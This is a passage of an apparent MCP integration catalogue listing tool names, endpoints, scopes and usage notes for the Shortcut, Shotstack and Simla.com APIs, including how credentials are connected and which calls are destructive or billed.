'color_key': 'green'}). via PUT /api/v3/custom-fields/{custom-field-public-id} PUT /api/v1/shortcut/api/v3/custom-fields/{custom_field_public_id}. Scopes: write. shortcut_put_api_v3_documents_by_doc_public_id (write) — Updates an existing Doc's title and/or content. Supports markdown or HTML input via content_format parameter. WARNING: if content_format is not supplied, `content` input defaults to html. When a document is updated: (1) For Tiptap-migrated docs, SSE events notify connected Tiptap clients to refresh. (2) For non-migrated docs, CKEditor cache is flushed and SSE events notify connected CKEditor users. via PUT /api/v3/documents/{doc-public-id} PUT /api/v1/shortcut/api/v3/documents/{doc_public_id}. Scopes: write. shortcut_put_api_v3_documents_by_doc_public_id_epics_by_epic_public_id (write) — Create a relationship between a Document and an Epic. via PUT /api/v3/documents/{doc-public-id}/epics/{epic-public-id} PUT /api/v1/shortcut/api/v3/documents/{doc_public_id}/epics/{epic_public_id}. Scopes: write. shortcut_put_api_v3_entity_templates_by_entity_template_public_id (write) — Update an entity template's name or its contents. via PUT /api/v3/entity-templates/{entity-template-public-id} PUT /api/v1/shortcut/api/v3/entity-templates/{entity_template_public_id}. Scopes: write. shortcut_put_api_v3_entity_templates_disable (write) — Disables the Story Template feature for the Workspace. via PUT /api/v3/entity-templates/disable PUT /api/v1/shortcut/api/v3/entity-templates/disable. Scopes: write. shortcut_put_api_v3_entity_templates_enable (write) — Enables the Story Template feature for the Workspace. via PUT /api/v3/entity-templates/enable PUT /api/v1/shortcut/api/v3/entity-templates/enable. Scopes: write. shortcut_put_api_v3_epics_by_epic_public_id (write) — Update Epic can be used to update numerous fields in the Epic. The only required parameter is Epic ID, which can be found in the Shortcut UI. via PUT /api/v3/epics/{epic-public-id} PUT /api/v1/shortcut/api/v3/epics/{epic_public_id}. Scopes: write. shortcut_put_api_v3_epics_by_epic_public_id_comments_by_comment_public_id (write) — This endpoint allows you to update a threaded Comment on an Epic. via PUT /api/v3/epics/{epic-public-id}/comments/{comment-public-id} PUT /api/v1/shortcut/api/v3/epics/{epic_public_id}/comments/{comment_public_id}. Scopes: write. shortcut_put_api_v3_files_by_file_public_id (write) — Update File updates the properties of an UploadedFile (but not its content). via PUT /api/v3/files/{file-public-id} PUT /api/v1/shortcut/api/v3/files/{file_public_id}. Scopes: write. shortcut_put_api_v3_groups_by_group_public_id (write) — Update Group via PUT /api/v3/groups/{group-public-id} PUT /api/v1/shortcut/api/v3/groups/{group_public_id}. Scopes: write. shortcut_put_api_v3_health_by_health_public_id (write) — Update an existing health status by its ID. via PUT /api/v3/health/{health-public-id} PUT /api/v1/shortcut/api/v3/health/{health_public_id}. Scopes: write. shortcut_put_api_v3_iterations_by_iteration_public_id (write) — Update Iteration via PUT /api/v3/iterations/{iteration-public-id} PUT /api/v1/shortcut/api/v3/iterations/{iteration_public_id}. Scopes: write. shortcut_put_api_v3_iterations_disable (write) — Disables Iterations for the current workspace via PUT /api/v3/iterations/disable PUT /api/v1/shortcut/api/v3/iterations/disable. Scopes: write. shortcut_put_api_v3_iterations_enable (write) — Enables Iterations for the current workspace via PUT /api/v3/iterations/enable PUT /api/v1/shortcut/api/v3/iterations/enable. Scopes: write. shortcut_put_api_v3_key_results_by_key_result_public_id (write) — Update Key Result allows updating a Key Result's name or initial, observed, or target values. via PUT /api/v3/key-results/{key-result-public-id} PUT /api/v1/shortcut/api/v3/key-results/{key_result_public_id}. Scopes: write. shortcut_put_api_v3_labels_by_label_public_id (write) — Update Label allows you to replace a Label name with another name. If you try to name a Label something that already exists, you will receive a 422 response. via PUT /api/v3/labels/{label-public-id} PUT /api/v1/shortcut/api/v3/labels/{label_public_id}. Scopes: write. shortcut_put_api_v3_linked_files_by_linked_file_public_id (write) — Updated Linked File allows you to update properties of a previously attached Linked-File. via PUT /api/v3/linked-files/{linked-file-public-id} PUT /api/v1/shortcut/api/v3/linked-files/{linked_file_public_id}. Scopes: write. shortcut_put_api_v3_objectives_by_objective_public_id (write) — Update Objective can be used to update Objective properties. via PUT /api/v3/objectives/{objective-public-id} PUT /api/v1/shortcut/api/v3/objectives/{objective_public_id}. Scopes: write. shortcut_put_api_v3_projects_by_project_public_id (write) — Update Project can be used to change properties of a Project. via PUT /api/v3/projects/{project-public-id} PUT /api/v1/shortcut/api/v3/projects/{project_public_id}. Scopes: write. shortcut_put_api_v3_stories_bulk (write) — Update Multiple Stories allows you to make changes to numerous stories at once. via PUT /api/v3/stories/bulk PUT /api/v1/shortcut/api/v3/stories/bulk. Scopes: write. shortcut_put_api_v3_stories_by_story_public_id (write) — Update Story can be used to update Story properties. via PUT /api/v3/stories/{story-public-id} PUT /api/v1/shortcut/api/v3/stories/{story_public_id}. Scopes: write. shortcut_put_api_v3_stories_by_story_public_id_comments_by_comment_public_id (write) — Update Comment replaces the text of the existing Comment. via PUT /api/v3/stories/{story-public-id}/comments/{comment-public-id} PUT /api/v1/shortcut/api/v3/stories/{story_public_id}/comments/{comment_public_id}. Scopes: write. shortcut_put_api_v3_stories_by_story_public_id_tasks_by_task_public_id (write) — Update Task can be used to update Task properties. via PUT /api/v3/stories/{story-public-id}/tasks/{task-public-id} PUT /api/v1/shortcut/api/v3/stories/{story_public_id}/tasks/{task_public_id}. Scopes: write. shortcut_put_api_v3_story_links_by_story_link_public_id (write) — Updates the stories and/or the relationship for the given Story Link. via PUT /api/v3/story-links/{story-link-public-id} PUT /api/v1/shortcut/api/v3/story-links/{story_link_public_id}. Scopes: write. ================================================================================ ## Shotstack URL: https://www.agenticfabriq.com/integrations/shotstack Section: Integrated Tools Shotstack — 22 MCP tools Provider key: shotstack. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. shotstack_delete_assets_by_id (write, destructive) — Delete one hosted asset by its asset id, via DELETE /assets/{id} on the Serve API. Answers 204 with an empty body. Each asset is deleted individually: a render that produced a video plus a thumbnail and a poster needs three calls, one per asset id. The hosted file stops being served; copies already sent to an external destination are not touched. DELETE /api/v1/shotstack/serve/assets/{id}. Scopes: api. shotstack_delete_sources_by_id (write, destructive) — Delete an ingested source file by its id, via DELETE /sources/{id} on the Ingest API. Answers 204 with an empty body. The stored file and its renditions stop being served; edits that already referenced it by URL will fail to fetch it on their next render. DELETE /api/v1/shotstack/ingest/sources/{id}. Scopes: api. shotstack_delete_templates_by_id (write, destructive) — Delete a template by its template id, via DELETE /templates/{id} on the Edit API. Answers 204 with an empty body. Shotstack has no recycle bin for templates: after this the id is gone and `shotstack_get_templates_by_id` answers 404, so the edit is unrecoverable unless it was saved elsewhere. Renders already produced from the template are not affected. DELETE /api/v1/shotstack/edit/templates/{id}. Scopes: api. shotstack_get_assets_by_id (read) — Get one hosted asset -- a rendered video, image, audio file, thumbnail or poster -- by its ASSET id, via GET /assets/{id} on the Serve API. An asset id is not a render id: one render can produce several assets, and `shotstack_get_assets_render_by_id` is the way in from a render id. GET /api/v1/shotstack/serve/assets/{id}. Scopes: api. shotstack_get_assets_render_by_id (read) — Look up every asset a render produced, by RENDER id, via GET /assets/render/{id} on the Serve API. This is the join between the two id spaces: a render request returns only a render id, while a render may create a video, a thumbnail and a poster image, each with its own asset id. Answers 404 `No assets found for Id` while the render is still in flight or if nothing was produced. GET /api/v1/shotstack/serve/assets/render/{id}. Scopes: api. shotstack_get_generate_by_id (read) — Get the status of an on-demand generation job created by `shotstack_post_generate`, via GET /generate/{id} on the Edit API. Answers 202 while the job is still processing and 200 once it has finished, done or failed. Jobs are owner-scoped: a job id belongs to the account and environment that created it. GET /api/v1/shotstack/edit/generate/{id}. Scopes: api. shotstack_get_models (read) — List the generation models available to prompt-bearing image, video and audio assets, with what each one costs in credits, via GET /models on the Edit API. Use it to populate a model picker rather than hard-coding a list -- a newly launched model appears here with no change on your side -- and filter by each entry's asset `type` when a picker needs only one kind. Option schemas are omitted by default; pass `expand=options` to include them. GET /api/v1/shotstack/edit/models. Scopes: api. shotstack_get_models_by_id (read) — Get one generation model by its identifier, including the JSON Schema of the options it accepts and what it costs in credits, via GET /models/{id} on the Edit API. The identifier is the `model` value from `shotstack_get_models` (for example `nano-banana-2`), not a UUID. Answers 404 when no model has that identifier. GET /api/v1/shotstack/edit/models/{id}. Scopes: api. shotstack_get_probe_by_url (read) — Inspect any media asset on the internet -- image, video or audio -- with a hosted FFprobe, via GET /probe/{url} on the Edit API. Returns width, height, duration, rotation, frame rate, codecs and the rest of the container's metadata as JSON. Pass `url` as an ordinary URL; Shotstack requires it percent-encoded into a single path segment and this integration does that encoding for you (measured 2026-09-19: an un-encoded URL answers 404 `The resource GET /edit/stage/probe/https://... does not exist`, the encoded form answers 200). The asset must be publicly reachable by Shotstack, not only by you. GET /api/v1/shotstack/edit/probe/{url}. Scopes: api. shotstack_get_render_by_id (read) — Get the status, temporary asset URL and details of one render by id, via GET /render/{id} on the Edit API. The status walks `queued` -> `fetching` -> `rendering` -> `saving` -> `done`, or `failed` with an error. `data` returns the edit that produced it and `merged` returns that edit with its merge fields already substituted. GET /api/v1/shotstack/edit/render/{id}. Scopes: api. shotstack_get_sources (read) — List the source files ingested against this account and environment, via GET /sources on the Ingest API. Returns a JSON:API document -- the files are under `data`, each with its status and its hosted URLs, and `meta.next` carries the cursor for the next page when there is one. GET /api/v1/shotstack/ingest/sources. Scopes: api. shotstack_get_sources_by_id (read) — Get one ingested source file's details and status by its id, via GET /sources/{id} on the Ingest API. Source ids are alphanumeric in the UUID SHAPE but are not UUIDs (`zzz01m2w-h69ky-70mmg-k1kvf-2630rn`), so do not validate them as one. GET /api/v1/shotstack/ingest/sources/{id}. Scopes: api. shotstack_get_templates (read) — List the templates stored against this account and environment, via GET /templates on the Edit API. Returns each template's id and name rather than its edit; fetch one with `shotstack_get_templates_by_id`. This is also the endpoint a pasted API key is checked against when a connection is made. GET /api/v1/shotstack/edit/templates. Scopes: api. shotstack_get_templates_by_id (read) — Retrieve one template, including its full edit, by template id, via GET /templates/{id} on the Edit API. GET /api/v1/shotstack/edit/templates/{id}. Scopes: api. shotstack_post_assets (write) — Transfer a file from any publicly reachable URL to one or more Serve API destinations, via POST /assets on the Serve API. `url`, `id` and `destinations` are all required; `id` is a client-chosen identifier for the asset and Shotstack does not require it to be unique. POST /api/v1/shotstack/serve/assets. Scopes: api. shotstack_post_generate (write) — Generate a single image, video or audio asset from a text prompt, without rendering a whole edit, via POST /generate on the Edit API. Submit one prompt-bearing asset. The answer is 200 with the finished asset when an identical request has been generated before (results are cached by prompt, model and options) and 202 with a job id otherwise -- poll `shotstack_get_generate_by_id` for that one. GENERATION IS BILLED IN CREDITS PER ASSET, on BOTH environments: Shotstack's own contract says so, and the per-model credit price is in `shotstack_get_models`. Identical repeat requests resolve from the cache at no charge. POST /api/v1/shotstack/edit/generate. Scopes: api. shotstack_post_render (write) — Queue and render an edit as a video, image or audio file, via POST /render on the Edit API. Shotstack validates the edit, downloads and caches every asset it names, preprocesses video for compatibility, renders the timeline and stores the output. The response is the QUEUED render's id, not the finished file: poll `shotstack_get_render_by_id` (or supply `callback`) until the status is `done`, then fetch the hosted file with `shotstack_get_assets_render_by_id`. `timeline` and `output` are both required. On a `stage` connection the render is free and the output is watermarked; on a `v1` connection it spends the account's credits and may be billed. POST /api/v1/shotstack/edit/render. Scopes: api. shotstack_post_sources (write) — Queue a source file to be fetched from a URL and stored by Shotstack, via POST /sources on the Ingest API. Sources can be video, image, audio or font files, and once ingested they can have new output renditions created from them. The URL must be publicly reachable by Shotstack or carry its own credentials. Answers 201 with the queued source, or 400 with a list of validation errors. POST /api/v1/shotstack/ingest/sources. Scopes: api. shotstack_post_templates (write) — Save an edit as a re-usable template, via POST /templates on the Edit API. A template can be retrieved and modified before it is rendered, and merge fields let data be substituted into it and the result rendered in a single request with `shotstack_post_templates_render`. `name` is required; `template` is the edit itself and, if omitted, a blank template is saved. POST /api/v1/shotstack/edit/templates. Scopes: api. shotstack_post_templates_render (write) — Render an asset from a saved template id plus optional merge fields, via POST /templates/render on the Edit API. Merge fields replace the `{{PLACEHOLDER}}` variables inside the template's edit. Like `shotstack_post_render` this returns a QUEUED render id rather than a file, and costs what a render costs on the connection's environment. POST /api/v1/shotstack/edit/templates/render. Scopes: api. shotstack_post_upload (write) — Request a signed URL to upload a file directly to Shotstack, via POST /upload on the INGEST API -- not the Edit API, whatever its neighbours suggest (measured 2026-09-19: POST /edit/{env}/upload answers 404 `The resource POST /edit/stage/upload does not exist`, POST /ingest/{env}/upload answers 200). Takes no arguments. The response carries a source id and a short-lived pre-signed S3 URL; the file itself is then sent to THAT URL with a separate PUT request carrying the binary, which this integration does not make for you. Track the result with `shotstack_get_sources_by_id`. POST /api/v1/shotstack/ingest/upload. Scopes: api. shotstack_put_templates_by_id (write) — Replace an existing template's name and edit by template id, via PUT /templates/{id} on the Edit API. This is a REPLACE, not a merge: Shotstack's own contract states that both the name and the template must be provided, and that omitting `template` saves a BLANK one. Read the template first with `shotstack_get_templates_by_id` and send it back changed, rather than sending only the field you meant to edit. PUT /api/v1/shotstack/edit/templates/{id}. Scopes: api. ================================================================================ ## Simla.com URL: https://www.agenticfabriq.com/integrations/simla Section: Integrated Tools Simla.com — 190 MCP tools Provider key: simla. Scopes: analytics_write, cost_read, cost_write, custom_fields_read, custom_fields_write, customer_interaction_read, customer_interaction_write, customer_read, customer_write, delivery_read, delivery_write, file_read, file_write, integration_read, integration_write, loyalty_read, loyalty_write, notification_write, order_read, order_write, payments_read, payments_write, reference_read, reference_write, segment_read, store_read, store_write, task_read, task_write, telephony_read, telephony_write, user_read, user_write, verification_read, verification_write, web_analytics_write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. simla_get_api_api_versions (read) — Getting the list of available api versions via GET /api/api-versions GET /api/v1/simla/api/api-versions. Scopes: none. simla_get_api_credentials (read) — Getting the list of available api methods and stores for current key via GET /api/credentials GET /api/v1/simla/api/credentials. Scopes: none. simla_get_api_v5_costs (read) — Getting of the cost list, adequate for the given filter via GET /api/v5/costs GET /api/v1/simla/api/v5/costs. Scopes: cost_read. simla_get_api_v5_costs_by_id (read) — Getting of cost information via GET /api/v5/costs/{id} GET /api/v1/simla/api/v5/costs/{id}. Scopes: cost_read. simla_get_api_v5_custom_fields (read) — Getting the list of custom fields via GET /api/v5/custom-fields GET /api/v1/simla/api/v5/custom-fields. Scopes: custom_fields_read. simla_get_api_v5_custom_fields_by_entity_by_code (read) — Getting information on custom fields via GET /api/v5/custom-fields/{entity}/{code} GET /api/v1/simla/api/v5/custom-fields/{entity}/{code}. Scopes: custom_fields_read. simla_get_api_v5_custom_fields_dictionaries (read) — Getting the list of custom directory via GET /api/v5/custom-fields/dictionaries GET /api/v1/simla/api/v5/custom-fields/dictionaries. Scopes: custom_fields_read. simla_get_api_v5_custom_fields_dictionaries_by_code (read) — Getting information on directory via GET /api/v5/custom-fields/dictionaries/{code} GET /api/v1/simla/api/v5/custom-fields/dictionaries/{code}. Scopes: custom_fields_read. simla_get_api_v5_customer_interaction_by_site_cart_by_customerid (read) — Getting the current cart of the customer via GET /api/v5/customer-interaction/{site}/cart/{customerId} GET /api/v1/simla/api/v5/customer-interaction/{site}/cart/{customerId}. Scopes: customer_interaction_read. simla_get_api_v5_customer_interaction_by_site_favorites_by_customerid (read) — Getting a list of favorites for the customer via GET /api/v5/customer-interaction/{site}/favorites/{customerId} GET /api/v1/simla/api/v5/customer-interaction/{site}/favorites/{customerId}. Scopes: customer_interaction_read. simla_get_api_v5_customers (read) — Getting the list of customers matched the specified filter via GET /api/v5/customers GET /api/v1/simla/api/v5/customers. Scopes: customer_read. simla_get_api_v5_customers_by_externalid (read) — Getting information on customer via GET /api/v5/customers/{externalId} GET /api/v1/simla/api/v5/customers/{externalId}. Scopes: customer_read. simla_get_api_v5_customers_corporate (read) — Getting the list of corporate customers matched the specified filter via GET /api/v5/customers-corporate GET /api/v1/simla/api/v5/customers-corporate. Scopes: customer_read. simla_get_api_v5_customers_corporate_by_externalid (read) — Getting information on corporate customer via GET /api/v5/customers-corporate/{externalId} GET /api/v1/simla/api/v5/customers-corporate/{externalId}. Scopes: customer_read. simla_get_api_v5_customers_corporate_by_externalid_addresses (read) — List of addresses for a corporate customer via GET /api/v5/customers-corporate/{externalId}/addresses GET /api/v1/simla/api/v5/customers-corporate/{externalId}/addresses. Scopes: customer_read. simla_get_api_v5_customers_corporate_by_externalid_companies (read) — List of companies of a contact person via GET /api/v5/customers-corporate/{externalId}/companies GET /api/v1/simla/api/v5/customers-corporate/{externalId}/companies. Scopes: customer_read. simla_get_api_v5_customers_corporate_by_externalid_contacts (read) — List of contact persons of the corporate customer via GET /api/v5/customers-corporate/{externalId}/contacts GET /api/v1/simla/api/v5/customers-corporate/{externalId}/contacts. Scopes: customer_read. simla_get_api_v5_customers_corporate_history (read) — Getting the corporate customer change history via GET /api/v5/customers-corporate/history GET /api/v1/simla/api/v5/customers-corporate/history. Scopes: customer_read. simla_get_api_v5_customers_corporate_notes (read) — Getting the notes via GET /api/v5/customers-corporate/notes GET /api/v1/simla/api/v5/customers-corporate/notes. Scopes: customer_read. simla_get_api_v5_customers_history (read) — Getting the customer change history via GET /api/v5/customers/history GET /api/v1/simla/api/v5/customers/history. Scopes: customer_read. simla_get_api_v5_customers_notes (read) — Getting the notes via GET /api/v5/customers/notes GET /api/v1/simla/api/v5/customers/notes. Scopes: customer_read. simla_get_api_v5_customers_push_tokens (read) — Get customer mobile app push token data via GET /api/v5/customers/push-tokens GET /api/v1/simla/api/v5/customers/push-tokens. Scopes: customer_read. simla_get_api_v5_delivery_shipments (read) — Getting the list of shipments to delivery services via GET /api/v5/delivery/shipments GET /api/v1/simla/api/v5/delivery/shipments. Scopes: delivery_read. simla_get_api_v5_delivery_shipments_by_id (read) — Getting information on shipment via GET /api/v5/delivery/shipments/{id} GET /api/v1/simla/api/v5/delivery/shipments/{id}. Scopes: delivery_read. simla_get_api_v5_files (read) — Getting the list of files according to the selected filter via GET /api/v5/files GET /api/v1/simla/api/v5/files. Scopes: file_read. simla_get_api_v5_files_by_id (read) — Getting information about the file via GET /api/v5/files/{id} GET /api/v1/simla/api/v5/files/{id}. Scopes: file_read. simla_get_api_v5_integration_modules_by_code (read) — Getting the integration module via GET /api/v5/integration-modules/{code} GET /api/v1/simla/api/v5/integration-modules/{code}. Scopes: integration_read. simla_get_api_v5_loyalty_account_by_id (read) — Getting information about participation in the loyalty program via GET /api/v5/loyalty/account/{id} GET /api/v1/simla/api/v5/loyalty/account/{id}. Scopes: loyalty_read. simla_get_api_v5_loyalty_account_by_id_bonus_by_status_details (read) — Getting details on the bonus account via GET /api/v5/loyalty/account/{id}/bonus/{status}/details GET /api/v1/simla/api/v5/loyalty/account/{id}/bonus/{status}/details. Scopes: loyalty_read. simla_get_api_v5_loyalty_account_by_id_bonus_operations (read) — History of the bonus account for a specific participation via GET /api/v5/loyalty/account/{id}/bonus/operations GET /api/v1/simla/api/v5/loyalty/account/{id}/bonus/operations. Scopes: loyalty_read. simla_get_api_v5_loyalty_accounts (read) — List participation in the loyalty program via GET /api/v5/loyalty/accounts GET /api/v1/simla/api/v5/loyalty/accounts. Scopes: loyalty_read. simla_get_api_v5_loyalty_bonus_operations (read) — History of the bonus account for all participations via GET /api/v5/loyalty/bonus/operations GET /api/v1/simla/api/v5/loyalty/bonus/operations. Scopes: loyalty_read. simla_get_api_v5_loyalty_loyalties (read) — List of loyalty programs via GET /api/v5/loyalty/loyalties GET /api/v1/simla/api/v5/loyalty/loyalties. Scopes: loyalty_read. simla_get_api_v5_loyalty_loyalties_by_id (read) — Getting information about the loyalty program via GET /api/v5/loyalty/loyalties/{id} GET /api/v1/simla/api/v5/loyalty/loyalties/{id}. Scopes: loyalty_read. simla_get_api_v5_orders (read) — Getting the list of orders matched the specified filter via GET /api/v5/orders GET /api/v1/simla/api/v5/orders. Scopes: order_read. simla_get_api_v5_orders_by_externalid (read) — Getting information on order via GET /api/v5/orders/{externalId} GET /api/v1/simla/api/v5/orders/{externalId}. Scopes: order_read. simla_get_api_v5_orders_by_externalid_plates_by_plateid_print (read) — Getting the file of the printed form for the order via GET /api/v5/orders/{externalId}/plates/{plateId}/print GET /api/v1/simla/api/v5/orders/{externalId}/plates/{plateId}/print. Scopes: order_read. simla_get_api_v5_orders_history (read) — Getting the order change history via GET /api/v5/orders/history GET /api/v1/simla/api/v5/orders/history. Scopes: order_read. simla_get_api_v5_orders_packs (read) — Getting the list of packs matched the specified filter via GET /api/v5/orders/packs GET /api/v1/simla/api/v5/orders/packs. Scopes: order_read. simla_get_api_v5_orders_packs_by_id (read) — Getting information on pack via GET /api/v5/orders/packs/{id} GET /api/v1/simla/api/v5/orders/packs/{id}. Scopes: order_read. simla_get_api_v5_orders_packs_history (read) — Getting the history of order packing via GET /api/v5/orders/packs/history GET /api/v1/simla/api/v5/orders/packs/history. Scopes: order_read. simla_get_api_v5_orders_statuses (read) — Getting the list of order statuses via GET /api/v5/orders/statuses GET /api/v1/simla/api/v5/orders/statuses. Scopes: order_read. simla_get_api_v5_payment_invoice_by_invoiceuuid (read) — Get the invoice via GET /api/v5/payment/invoice/{invoiceUuid} GET /api/v1/simla/api/v5/payment/invoice/{invoiceUuid}. Scopes: payments_read. simla_get_api_v5_reference_cost_groups (read) — Getting of the costs groups list via GET /api/v5/reference/cost-groups GET /api/v1/simla/api/v5/reference/cost-groups. Scopes: reference_read. simla_get_api_v5_reference_cost_items (read) — Getting of the costs items list via GET /api/v5/reference/cost-items GET /api/v1/simla/api/v5/reference/cost-items. Scopes: reference_read. simla_get_api_v5_reference_countries (read) — Getting the list of available country codes via GET /api/v5/reference/countries GET /api/v1/simla/api/v5/reference/countries. Scopes: reference_read. simla_get_api_v5_reference_couriers (read) — Getting the list of couriers via GET /api/v5/reference/couriers GET /api/v1/simla/api/v5/reference/couriers. Scopes: reference_read. simla_get_api_v5_reference_currencies (read) — Getting the list of currencies via GET /api/v5/reference/currencies GET /api/v1/simla/api/v5/reference/currencies. Scopes: reference_read. simla_get_api_v5_reference_delivery_services (read) — Getting the list of delivery services via GET /api/v5/reference/delivery-services GET /api/v1/simla/api/v5/reference/delivery-services. Scopes: reference_read. simla_get_api_v5_reference_delivery_types (read) — Getting the list of delivery types via GET /api/v5/reference/delivery-types GET /api/v1/simla/api/v5/reference/delivery-types. Scopes: reference_read. simla_get_api_v5_reference_legal_entities (read) — Getting the list of legal entities via GET /api/v5/reference/legal-entities GET /api/v1/simla/api/v5/reference/legal-entities. Scopes: reference_read. simla_get_api_v5_reference_mg_channels (read) — Getting a list of MessageGateway channels via GET /api/v5/reference/mg-channels GET /api/v1/simla/api/v5/reference/mg-channels. Scopes: reference_read. simla_get_api_v5_reference_order_methods (read) — Getting the list of order methods via GET /api/v5/reference/order-methods GET /api/v1/simla/api/v5/reference/order-methods. Scopes: reference_read. simla_get_api_v5_reference_order_types (read) — Getting the list of order types via GET /api/v5/reference/order-types GET /api/v1/simla/api/v5/reference/order-types. Scopes: reference_read. simla_get_api_v5_reference_payment_statuses (read) — Getting the list of payment statuses via GET /api/v5/reference/payment-statuses GET /api/v1/simla/api/v5/reference/payment-statuses. Scopes: reference_read. simla_get_api_v5_reference_payment_types (read) — Getting the list of payment types via GET /api/v5/reference/payment-types GET /api/v1/simla/api/v5/reference/payment-types. Scopes: reference_read. simla_get_api_v5_reference_price_types (read) — Getting the list of price types via GET /api/v5/reference/price-types GET /api/v1/simla/api/v5/reference/price-types. Scopes: reference_read. simla_get_api_v5_reference_product_statuses (read) — Getting the list of item statuses in order via GET /api/v5/reference/product-statuses GET /api/v1/simla/api/v5/reference/product-statuses. Scopes: reference_read. simla_get_api_v5_reference_push_categories (read) — Get customer mobile push notification categories via GET /api/v5/reference/push-categories GET /api/v1/simla/api/v5/reference/push-categories. Scopes: reference_read. simla_get_api_v5_reference_sites (read) — Getting the stores list via GET /api/v5/reference/sites GET /api/v1/simla/api/v5/reference/sites. Scopes: reference_read. simla_get_api_v5_reference_sites_by_code_tracker (read) — Getting store tracker settings via GET /api/v5/reference/sites/{code}/tracker GET /api/v1/simla/api/v5/reference/sites/{code}/tracker. Scopes: reference_read. simla_get_api_v5_reference_status_groups (read) — Getting the list of order status groups via GET /api/v5/reference/status-groups GET /api/v1/simla/api/v5/reference/status-groups. Scopes: reference_read. simla_get_api_v5_reference_statuses (read) — Getting the list of order statuses via GET /api/v5/reference/statuses GET /api/v1/simla/api/v5/reference/statuses. Scopes: reference_read. simla_get_api_v5_reference_stores (read) — Getting the list of warehouses via GET /api/v5/reference/stores GET /api/v1/simla/api/v5/reference/stores. Scopes: reference_read. simla_get_api_v5_reference_subscriptions (read) — Subscription categories list via GET /api/v5/reference/subscriptions GET /api/v1/simla/api/v5/reference/subscriptions. Scopes: reference_read. simla_get_api_v5_reference_units (read) — Getting the list of units via GET /api/v5/reference/units GET /api/v1/simla/api/v5/reference/units. Scopes: reference_read. simla_get_api_v5_segments (read) — Getting the list of customer segments via GET /api/v5/segments GET /api/v1/simla/api/v5/segments. Scopes: segment_read. simla_get_api_v5_settings (read) — Getting system settings via GET /api/v5/settings GET /api/v1/simla/api/v5/settings. Scopes: none. simla_get_api_v5_statistic_update (read) — Statistics updating via GET /api/v5/statistic/update GET /api/v1/simla/api/v5/statistic/update. Scopes: analytics_write. simla_get_api_v5_store_inventories (read) — Getting the leftover stocks and purchasing prices via GET /api/v5/store/inventories GET /api/v1/simla/api/v5/store/inventories. Scopes: store_read. simla_get_api_v5_store_offers (read) — Getting a list of offers that meet the specified filter via GET /api/v5/store/offers GET /api/v1/simla/api/v5/store/offers. Scopes: store_read. simla_get_api_v5_store_product_groups (read) — Getting the list of product groups via GET /api/v5/store/product-groups GET /api/v1/simla/api/v5/store/product-groups. Scopes: store_read. simla_get_api_v5_store_products (read) — Getting the list of products and SKU via GET /api/v5/store/products GET /api/v1/simla/api/v5/store/products. Scopes: store_read. simla_get_api_v5_store_products_properties (read) — Getting the list of item properties, matching the specified filter via GET /api/v5/store/products/properties GET /api/v1/simla/api/v5/store/products/properties. Scopes: store_read. simla_get_api_v5_store_products_properties_values (read) — Getting a list of property values for products or services that match the specified filters via GET /api/v5/store/products/properties/values GET /api/v1/simla/api/v5/store/products/properties/values. Scopes: store_read. simla_get_api_v5_tasks (read) — Getting the task list via GET /api/v5/tasks GET /api/v1/simla/api/v5/tasks. Scopes: task_read. simla_get_api_v5_tasks_by_id (read) — Getting information on task via GET /api/v5/tasks/{id} GET /api/v1/simla/api/v5/tasks/{id}. Scopes: task_read. simla_get_api_v5_tasks_by_id_comments (read) — Receiving comments on the task via GET /api/v5/tasks/{id}/comments GET /api/v1/simla/api/v5/tasks/{id}/comments. Scopes: task_read. simla_get_api_v5_tasks_history (read) — Getting the task change history via GET /api/v5/tasks/history GET /api/v1/simla/api/v5/tasks/history. Scopes: task_read. simla_get_api_v5_telephony_calls (read) — Getting a call list via GET /api/v5/telephony/calls GET /api/v1/simla/api/v5/telephony/calls. Scopes: telephony_read. simla_get_api_v5_telephony_manager (read) — Getting the responsible manager via GET /api/v5/telephony/manager GET /api/v1/simla/api/v5/telephony/manager. Scopes: telephony_read. simla_get_api_v5_user_groups (read) — Getting the list of user groups via GET /api/v5/user-groups GET /api/v1/simla/api/v5/user-groups. Scopes: user_read. simla_get_api_v5_users (read) — Getting the list of users matched the specified filter via GET /api/v5/users GET /api/v1/simla/api/v5/users. Scopes: user_read. simla_get_api_v5_users_by_id (read) — Getting information on user via GET /api/v5/users/{id} GET /api/v1/simla/api/v5/users/{id}. Scopes: user_read. simla_get_api_v5_verification_sms_by_checkid_status (read) — Checking the verification status via GET /api/v5/verification/sms/{checkId}/status GET /api/v1/simla/api/v5/verification/sms/{checkId}/status. Scopes: verification_read. simla_post_api_v5_costs_by_id_delete (write, destructive) — Cost removing via POST /api/v5/costs/{id}/delete POST /api/v1/simla/api/v5/costs/{id}/delete. Scopes: cost_write. simla_post_api_v5_costs_by_id_edit (write) — Cost editing via POST /api/v5/costs/{id}/edit POST /api/v1/simla/api/v5/costs/{id}/edit. Scopes: cost_write. simla_post_api_v5_costs_create (write) — Creation of the cost via POST /api/v5/costs/create POST /api/v1/simla/api/v5/costs/create. Scopes: cost_write. simla_post_api_v5_costs_delete (write, destructive) — Batch removing of costs via POST /api/v5/costs/delete POST /api/v1/simla/api/v5/costs/delete. Scopes: cost_write. simla_post_api_v5_costs_upload (write) — Batch loading of costs via POST /api/v5/costs/upload POST /api/v1/simla/api/v5/costs/upload. Scopes: cost_write. simla_post_api_v5_custom_fields_by_entity_by_code_edit (write) — Custom fields editing via POST /api/v5/custom-fields/{entity}/{code}/edit POST /api/v1/simla/api/v5/custom-fields/{entity}/{code}/edit. Scopes: custom_fields_write. simla_post_api_v5_custom_fields_by_entity_create (write) — Custom fields creation via POST /api/v5/custom-fields/{entity}/create POST /api/v1/simla/api/v5/custom-fields/{entity}/create. Scopes: custom_fields_write. simla_post_api_v5_custom_fields_dictionaries_by_code_edit (write) — Directory fields editing via POST /api/v5/custom-fields/dictionaries/{code}/edit POST 